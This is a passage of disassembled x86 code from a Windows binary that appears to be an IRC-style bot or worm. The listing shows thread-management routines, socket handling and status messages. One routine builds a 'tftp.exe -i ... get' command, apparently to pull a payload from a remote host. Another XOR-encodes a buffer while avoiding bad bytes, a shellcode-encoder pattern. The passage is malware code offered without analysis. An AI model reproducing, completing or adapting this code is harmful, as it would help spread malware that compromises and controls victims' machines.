		db  81h	; 
		db 0ECh	; ì
		db  14h
		db    1
		db    0
		db    0
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0FFh
		db  39h	; 9
		db  3Dh	; =
		db 0A8h	; ¨
		db 0CDh	; Í
		db  44h	; D
		db    0
		db  0Fh
		db  85h	; …
		db  19h
		db    1
		db    0
		db    0
		db  8Dh	; 
		db  45h	; E
		db 0FCh	; ü
		db 0BEh	; ¾
		db    2
		db    0
		db    0
		db  80h	; €
		db  50h	; P
		db  68h	; h
		db  1Fh
		db    0
		db    2
		db    0
		db  57h	; W
		db  68h	; h
		db  60h	; `
		db 0A4h	; ¤
		db  42h	; B
		db    0
		db  56h	; V
		db 0FFh
		db  15h
		db  48h	; H
		db 0CDh	; Í
		db  44h	; D
		db    0
		db  85h	; …
		db 0C0h	; À
		db  75h	; u
		db  53h	; S
		db  66h	; f
		db 0A1h	; ¡
		db  20h
		db  76h	; v
		db  43h	; C
		db    0
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0FAh	; ú
		db  8Dh	; 
		db  45h	; E
		db 0FAh	; ú
		db  50h	; P
		db 0E8h	; è
		db  67h	; g
		db  11h
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  45h	; E
		db 0FAh	; ú
		db  50h	; P
		db  6Ah	; j
		db    1
		db  57h	; W
		db  68h	; h
		db  14h
		db  76h	; v
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db 0FCh	; ü
		db 0FFh
		db  15h
		db    0
		db 0CDh	; Í
		db  44h	; D
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db    7
		db  68h	; h
		db 0E0h	; à
		db  75h	; u
		db  43h	; C
		db    0
		db 0EBh	; ë
		db    5
		db  68h	; h
		db 0B0h	; °
		db  75h	; u
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db 0B6h	; ¶
		db  0Ah
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db 0FFh
		db  75h	; u
		db 0FCh	; ü
		db 0FFh
		db  15h
		db 0B8h	; ¸
		db 0CCh	; Ì
		db  44h	; D
		db    0
		db 0EBh	; ë
		db  13h
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  70h	; p
		db  75h	; u
		db  43h	; C
		db    0
		db  50h	; P
		db 0E8h	; è
		db  98h	; ˜
		db  0Ah
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db  39h	; 9
		db  7Dh	; }
		db  14h
		db  75h	; u
		db  1Ah
		db  6Ah	; j
		db    1
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db 0FFh
		db  75h	; u
		db  10h
		db  50h	; P
		db 0FFh
		db  75h	; u
		db  0Ch
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  1Dh
		db  85h	; …
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  14h
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  8Ch	; Œ
		db  6Ah	; j
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  8Dh	; 
		db  45h	; E
		db 0FCh	; ü
		db  50h	; P
		db  68h	; h
		db  3Fh	; ?
		db    0
		db  0Fh
		db    0
		db  57h	; W
		db  68h	; h
		db  78h	; x
		db 0A4h	; ¤
		db  42h	; B
		db    0
		db  56h	; V
		db 0FFh
		db  15h
		db  48h	; H
		db 0CDh	; Í
		db  44h	; D
		db    0
		db  85h	; …
		db 0C0h	; À
		db  75h	; u
		db  47h	; G
		db  8Dh	; 
		db  45h	; E
		db 0F8h	; ø
		db  6Ah	; j
		db    4
		db  50h	; P
		db  6Ah	; j
		db    4
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  75h	; u
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db 0FCh	; ü
		db 0C7h	; Ç
		db  45h	; E
		db 0F8h	; ø
		db    1
		db    0
		db    0
		db    0
		db 0FFh
		db  15h
		db    0
		db 0CDh	; Í
		db  44h	; D
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db    7
		db  68h	; h
		db  10h
		db  75h	; u
		db  43h	; C
		db    0
		db 0EBh	; ë
		db    5
		db  68h	; h
		db 0CCh	; Ì
		db  74h	; t
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  16h
		db  0Ah
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db 0FFh
		db  75h	; u
		db 0FCh	; ü
		db 0FFh
		db  15h
		db 0B8h	; ¸
		db 0CCh	; Ì
		db  44h	; D
		db    0
		db 0EBh	; ë
		db  1Ah
		db  68h	; h
		db  80h	; €
		db  74h	; t
		db  43h	; C
		db    0
		db 0EBh	; ë
		db    5
		db  68h	; h
		db  40h	; @
		db  74h	; t
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db 0F1h	; ñ
		db    9
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db  39h	; 9
		db  7Dh	; }
		db  14h
		db  75h	; u
		db  1Ah
		db  6Ah	; j
		db    1
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db 0FFh
		db  75h	; u
		db  10h
		db  50h	; P
		db 0FFh
		db  75h	; u
		db  0Ch
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  76h	; v
		db  84h	; „
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  14h
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db 0E5h	; å
		db  69h	; i
		db 0FFh
		db 0FFh
		db  39h	; 9
		db  3Dh	; =
		db 0D0h	; Ð
		db 0CDh	; Í
		db  44h	; D
		db    0
		db  59h	; Y
		db  0Fh
		db  85h	; …
		db  62h	; b
		db    1
		db    0
		db    0
		db  53h	; S
		db  89h	; ‰
		db  7Dh	; }
		db 0FCh	; ü
		db  89h	; ‰
		db  7Dh	; }
		db 0ECh	; ì
		db  89h	; ‰
		db  7Dh	; }
		db 0F4h	; ô
; ---------------------------------------------------------------------------


loc_412E65:				; CODE XREF: seg001:00412FA1j
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_44CC38
		cmp	eax, edi
		mov	[ebp-10h], eax
		jz	short loc_412F02
		cmp	eax, 0EAh
		jz	short loc_412F02
		mov	esi, offset off_4372A8


loc_412E96:				; CODE XREF: seg001:00412EFBj
		push	dword ptr [esi]
		push	edi
		call	sub_40B906
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412EAD
		push	offset dword_43740C
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412EAD:				; CODE XREF: seg001:00412EA4j
		push	offset dword_4373D0


loc_412EB2:				; CODE XREF: seg001:00412EABj
		lea	eax, [ebp-114h]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		cmp	[ebp+14h], edi
		jnz	short loc_412EE5
		push	1
		lea	eax, [ebp-114h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B2B5
		add	esp, 14h


loc_412EE5:				; CODE XREF: seg001:00412EC9j
		lea	eax, [ebp-114h]
		push	eax
		call	sub_409833
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4372C8
		jl	short loc_412E96
		jmp	loc_412F9A
; ---------------------------------------------------------------------------


loc_412F02:				; CODE XREF: seg001:00412E88j
					; seg001:00412E8Fj
		mov	esi, [ebp-8]
		push	1
		pop	ebx
		cmp	[ebp-4], ebx
		jb	loc_412F91


loc_412F11:				; CODE XREF: seg001:00412F8Dj
		mov	edi, [esi]
		push	edi
		call	sub_4149E6
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_412F86
		push	edi
		call	sub_40B7F3
		push	eax
		push	0
		call	sub_40B906
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412F40
		push	offset dword_43739C
		jmp	short loc_412F45
; ---------------------------------------------------------------------------


loc_412F40:				; CODE XREF: seg001:00412F37j
		push	offset dword_437360


loc_412F45:				; CODE XREF: seg001:00412F3Ej
		lea	eax, [ebp-114h]


loc_412F4B:				; DATA XREF: seg001:off_428B34o
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_412F79
		push	1
		lea	eax, [ebp-114h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B2B5
		add	esp, 14h


loc_412F79:				; CODE XREF: seg001:00412F5Dj
		lea	eax, [ebp-114h]
		push	eax
		call	sub_409833
		pop	ecx


loc_412F86:				; CODE XREF: seg001:00412F20j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp-4]
		jbe	short loc_412F11
		xor	edi, edi


loc_412F91:				; CODE XREF: seg001:00412F0Bj
		push	dword ptr [ebp-8]
		call	dword_44CD68


loc_412F9A:				; CODE XREF: seg001:00412EFDj
		cmp	dword ptr [ebp-10h], 0EAh
		jz	loc_412E65
		lea	eax, [ebp-114h]
		push	offset dword_437328
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_412FD0
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  85h	; …
		db 0ECh	; ì
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db 0E8h	; è
		db  72h	; r
		db  43h	; C
		db    0
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db    8
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
; ---------------------------------------------------------------------------


loc_412FD0:				; CODE XREF: seg001:00412FBBj
		cmp	[ebp+14h], edi
		jnz	short loc_412FEE
		push	edi
		lea	eax, [ebp-114h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B2B5
		add	esp, 14h


loc_412FEE:				; CODE XREF: seg001:00412FD3j
		lea	eax, [ebp-114h]
		push	eax
		call	sub_409833
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
off_413002	dd offset word_6A016A	; DATA XREF: sub_40C2D0+444o
		dd offset word_6A006A
		dw 0CFE8h
		dd 83FFFFFCh, 35FF10C4h, 4372A0h, 0F05015FFh, 0E2EB0041h

; =============== S U B	R O U T	I N E =======================================



sub_413020	proc near		; CODE XREF: sub_413040+Ap
					; sub_413118+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_413E90
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_413E90
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_413020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413040	proc near		; CODE XREF: sub_41312F+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_413020
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_41305D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41305D:				; CODE XREF: sub_413040+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_413E90
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_413E90
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4376B8, eax
		lea	eax, [edi+1]
		mov	dword_4376D9, eax
		lea	eax, [edi+17h]
		mov	dword_4376D1, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437654
		push	ebx
		mov	dword_4376E7, eax
		call	sub_4138F0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4138F0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4138F0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4138F0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4138F0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4138F0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4376DD
		push	esi
		call	sub_4138F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413040	endp


; =============== S U B	R O U T	I N E =======================================



sub_413118	proc near		; CODE XREF: sub_41312F+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_413020
		push	eax
		call	sub_41319C
		add	esp, 0Ch
		retn
sub_413118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41312F	proc near		; CODE XREF: sub_403C2B+43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_413118
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_41314F
		cmp	eax, 0FFFFh
		jbe	short loc_413153


loc_41314F:				; CODE XREF: sub_41312F+17j
		xor	eax, eax
		jmp	short loc_413198
; ---------------------------------------------------------------------------


loc_413153:				; CODE XREF: sub_41312F+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_413020
		add	eax, 101h
		push	eax
		call	sub_413F0B
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_413020
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_413040
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4131B7
		push	esi
		mov	edi, eax
		call	sub_413F7F
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_413198:				; CODE XREF: sub_41312F+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_41312F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41319C	proc near		; CODE XREF: sub_413118+Ep
					; sub_4131B7+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4131A5
		inc	ecx


loc_4131A5:				; CODE XREF: sub_41319C+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_41319C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131B7	proc near		; CODE XREF: sub_41312F+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_4131D3
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_4131D3
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_4131D3
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_4131D6


loc_4131D3:				; CODE XREF: sub_4131B7+8j
					; sub_4131B7+Ej ...
		inc	[ebp+arg_C]


loc_4131D6:				; CODE XREF: sub_4131B7+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_4131FE
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_4131F7
		cmp	al, 0Dh
		jz	short loc_4131F7
		cmp	al, 5Ch
		jz	short loc_4131F7
		test	al, al
		jnz	short loc_4131FE


loc_4131F7:				; CODE XREF: sub_4131B7+32j
					; sub_4131B7+36j ...
		add	[ebp+arg_C], 100h


loc_4131FE:				; CODE XREF: sub_4131B7+28j
					; sub_4131B7+3Ej
		push	[ebp+arg_C]
		call	sub_41319C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_413216
		cmp	eax, 0FFFFh
		jbe	short loc_41321D


loc_413216:				; CODE XREF: sub_4131B7+56j
		xor	eax, eax
		jmp	loc_4132BB
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_4131B7+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_7421FC
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_41324D


loc_413231:				; CODE XREF: sub_4131B7+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_413244
		cmp	al, 0Ah
		jz	short loc_413244
		cmp	al, 0Dh
		jz	short loc_413244
		cmp	al, 5Ch
		jnz	short loc_413248


loc_413244:				; CODE XREF: sub_4131B7+7Fj
					; sub_4131B7+83j ...
		inc	bl
		xor	edx, edx


loc_413248:				; CODE XREF: sub_4131B7+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_413231


loc_41324D:				; CODE XREF: sub_4131B7+78j
		cmp	ecx, esi
		mov	byte_7421FC, bl
		ja	short loc_413279
		push	15h
		push	offset loc_43763C
		push	[ebp+arg_0]
		mov	byte_437649, cl
		mov	byte_43764D, bl
		call	sub_4138F0
		add	esp, 0Ch
		push	15h
		jmp	short loc_41329A
; ---------------------------------------------------------------------------


loc_413279:				; CODE XREF: sub_4131B7+9Ej
		push	17h
		push	offset loc_437624
		push	[ebp+arg_0]
		mov	word_437632, cx
		mov	byte_437637, bl
		call	sub_4138F0
		add	esp, 0Ch
		push	17h


loc_41329A:				; CODE XREF: sub_4131B7+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_4132B6
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_4132A8:				; CODE XREF: sub_4131B7+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_4132A8


loc_4132B6:				; CODE XREF: sub_4131B7+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_4132BB:				; CODE XREF: sub_4131B7+61j
		pop	esi
		leave
		retn
sub_4131B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132BE	proc near		; CODE XREF: sub_404ECE+220p
					; sub_406059+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_452028


loc_4132C6:				; CODE XREF: sub_4132BE+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4132DA
		add	eax, 134h
		inc	edi
		cmp	eax, offset dword_741F68
		jl	short loc_4132C6
		jmp	short loc_413325
; ---------------------------------------------------------------------------


loc_4132DA:				; CODE XREF: sub_4132BE+Bj
		push	esi
		mov	esi, edi
		imul	esi, 134h
		push	0FEh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_452028[esi]
		push	eax
		call	sub_415140
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_452128[esi], eax
		and	dword_45212C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_452130[esi], 0
		mov	dword_452134[esi], eax
		and	byte_452140[esi], 0
		pop	esi


loc_413325:				; CODE XREF: sub_4132BE+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_4132BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413329	proc near		; DATA XREF: sub_40CC09+51ACo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41337B
		push	[ebp+var_14]
		call	sub_4135DA
		add	esp, 14h
		push	0
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_413329	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41337B	proc near		; CODE XREF: sub_413329+38p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_452028


loc_4133A5:				; CODE XREF: sub_41337B+78j
		cmp	byte ptr [esi],	0
		jz	short loc_4133E6
		cmp	[ebp+arg_C], 0
		jnz	short loc_4133B9
		cmp	dword ptr [esi+104h], 0
		jnz	short loc_4133E6


loc_4133B9:				; CODE XREF: sub_41337B+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 24h


loc_4133E6:				; CODE XREF: sub_41337B+2Dj
					; sub_41337B+3Cj
		add	esi, 134h
		inc	edi
		cmp	esi, offset dword_741F68
		jl	short loc_4133A5
		pop	edi
		pop	esi
		leave
		retn
sub_41337B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133F9	proc near		; CODE XREF: sub_40CC09+457Bp
					; sub_413487+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_413481
		cmp	esi, 2710h
		jge	short loc_413481
		imul	esi, 134h
		push	edi
		push	ebx
		push	dword_45213C[esi]
		lea	edi, dword_45213C[esi]
		call	dword_41F130	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_413431
		push	1
		pop	ebp


loc_413431:				; CODE XREF: sub_4133F9+33j
		mov	[edi], ebx
		lea	edi, dword_452130[esi]
		mov	dword_452128[esi], ebx
		mov	dword_45212C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_413452
		push	eax
		call	sub_4126C5
		pop	ecx


loc_413452:				; CODE XREF: sub_4133F9+50j
		mov	[edi], ebx
		lea	edi, dword_452134[esi]
		mov	byte ptr dword_452028[esi], bl
		mov	byte_452140[esi], bl
		push	dword ptr [edi]
		call	dword_44CD70	; closesocket
		lea	esi, dword_452138[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		mov	[esi], ebx
		pop	edi


loc_413481:				; CODE XREF: sub_4133F9+Dj
					; sub_4133F9+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4133F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_413487	proc near		; CODE XREF: sub_408701:loc_408725p
					; sub_40ACAF+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_452028


loc_413493:				; CODE XREF: sub_413487+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_4134A4
		push	edi
		call	sub_4133F9
		test	eax, eax
		pop	ecx
		jz	short loc_4134A4
		inc	ebx


loc_4134A4:				; CODE XREF: sub_413487+Fj
					; sub_413487+1Aj
		add	esi, 134h
		inc	edi
		cmp	esi, offset dword_741F68
		jl	short loc_413493
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413487	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134B9	proc near		; CODE XREF: sub_40CC09+1BC6p
					; sub_41354C+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_45212C


loc_4134CD:				; CODE XREF: sub_4134B9+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4134EF
		test	edi, edi
		jle	short loc_4134E1
		cmp	[esi], edi
		jz	short loc_4134E1
		cmp	ebx, edi
		jnz	short loc_4134EF


loc_4134E1:				; CODE XREF: sub_4134B9+1Ej
					; sub_4134B9+22j
		push	ebx
		call	sub_4133F9
		test	eax, eax
		pop	ecx
		jz	short loc_4134EF
		inc	[ebp+var_4]


loc_4134EF:				; CODE XREF: sub_4134B9+1Aj
					; sub_4134B9+26j ...
		add	esi, 134h
		inc	ebx
		cmp	esi, offset dword_74206C
		jl	short loc_4134CD
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4134B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_413506	proc near		; CODE XREF: sub_405FE2+Bp
					; sub_406059+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_452128


loc_41350D:				; CODE XREF: sub_413506+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_413516
		inc	eax


loc_413516:				; CODE XREF: sub_413506+Dj
		add	ecx, 134h
		cmp	ecx, offset dword_742068
		jl	short loc_41350D
		retn
sub_413506	endp


; =============== S U B	R O U T	I N E =======================================



sub_413525	proc near		; CODE XREF: sub_40CC09+4C54p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_452128


loc_41352F:				; CODE XREF: sub_413525+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_413548
		add	ecx, 134h
		inc	edx
		cmp	ecx, offset dword_742068
		jl	short loc_41352F
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413548:				; CODE XREF: sub_413525+10j
		mov	eax, edx
		pop	esi
		retn
sub_413525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41354C	proc near		; CODE XREF: sub_40CC09+FE1p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_413565
		push	[ebp+arg_1C]
		call	sub_413D7F
		pop	ecx


loc_413565:				; CODE XREF: sub_41354C+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_4134B9
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_413591
		push	eax
		lea	eax, [ebp+var_100]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	short loc_4135AB
; ---------------------------------------------------------------------------


loc_413591:				; CODE XREF: sub_41354C+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_100]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_413812
		add	esp, 10h


loc_4135AB:				; CODE XREF: sub_41354C+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4135CB
		push	0
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_4135CB:				; CODE XREF: sub_41354C+63j
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		pop	ecx
		leave
		retn
sub_41354C	endp


